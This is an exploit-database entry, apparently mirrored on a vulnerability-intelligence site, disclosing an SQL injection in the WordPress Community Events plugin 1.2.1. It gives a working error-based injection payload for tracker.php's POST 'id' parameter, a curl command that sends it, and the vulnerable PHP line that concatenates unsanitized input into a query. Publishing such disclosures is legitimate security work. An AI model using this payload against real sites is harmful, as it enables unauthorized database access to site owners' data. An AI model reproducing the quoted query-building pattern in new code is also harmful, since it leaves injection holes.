Lucene search
K

WordPress Plugin Community Events 1.2.1 - SQL Injection

🗓️ 08 Sep 2011 00:00:00Reported by Miroslav StamparType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 27 Views

WordPress Community Events plugin 1.2.1 has SQL Injection vulnerability allowing unauthorized database access.

Code
# Exploit Title: WordPress Community Events plugin <= 1.2.1 SQL Injection Vulnerability
# Date: 2011-09-07
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/community-events.zip
# Version: 1.2.1 (tested)

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/community-events/tracker.php
 id=-1 AND EXTRACTVALUE(1, CONCAT(CHAR(58),@@version,CHAR(58)))--%20

e.g.:
curl --data "id=-1 AND EXTRACTVALUE(1, CONCAT(CHAR(58),@@version,CHAR(58)))-- " http://www.site.com/wp-content/plugins/community-events/tracker.php

---------------
Vulnerable code
---------------
$event_id = $_POST['id'];
...
$ceeventdataquery = "select * from " . $wpdb->get_blog_prefix() . "ce_events where event_id = " . $event_id;

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Sep 2011 00:00Current
7.4High risk
Vulners AI Score7.4
27